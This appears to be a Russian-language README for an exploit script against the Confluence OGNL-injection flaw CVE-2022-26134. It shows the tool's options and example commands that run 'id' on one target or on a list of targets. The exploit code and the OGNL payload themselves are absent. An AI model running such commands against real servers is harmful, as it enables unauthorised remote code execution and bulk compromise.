Удалённое выполнение кода в Confluence без аутентификации через OGNL-инъекцию (CVE-2022-26134)

2 июня 2022 года Atlassian выпустила бюллетень безопасности для своих приложений Confluence Server и Data Center, сообщив о критической уязвимости, которая позволяет выполнить удалённый код без аутентификации. Уязвимость OGNL-инъекции позволяет неаутентифицированному пользователю выполнять произвольный код в экземпляре Confluence Server или Data Center.

ВАЖНО

Этот эксплойт предназначен только для того, чтобы помочь исследователям демонстрировать уязвимость. Я не рекомендую незаконные действия и не несу никакой ответственности за вредоносное использование этого скрипта.

• Пример запроса

BurpRequest

Использование эксплойта

python3 exploit.py -h
Usage: exploit.py [options]

Options:
  -h, --help            show this help message and exit
  -u URL, --url=URL     Base target uri (ex. http://target-uri/)
  -f FILEHOSTS, --file=FILEHOSTS
                        example.txt
  -t THREADS_SET, --threads=THREADS_SET
  -m TIMEOUT, --maxtimeout=TIMEOUT
  -o OUTPUT, --output=OUTPUT
  -c COMMAND, --cmd=COMMAND

Эксплуатация одной цели:

$ python3 exploit.py -u http://xxxxx.com -c id

xpl1

Эксплуатация нескольких целей

$ python3 exploit.py -f urls.txt -p -c id

xpl2

OGNL-выражение




# Ссылки:
 • [https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html](https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html)
 
 • [https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis](https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis)

-CVE-2022-26134

Популярное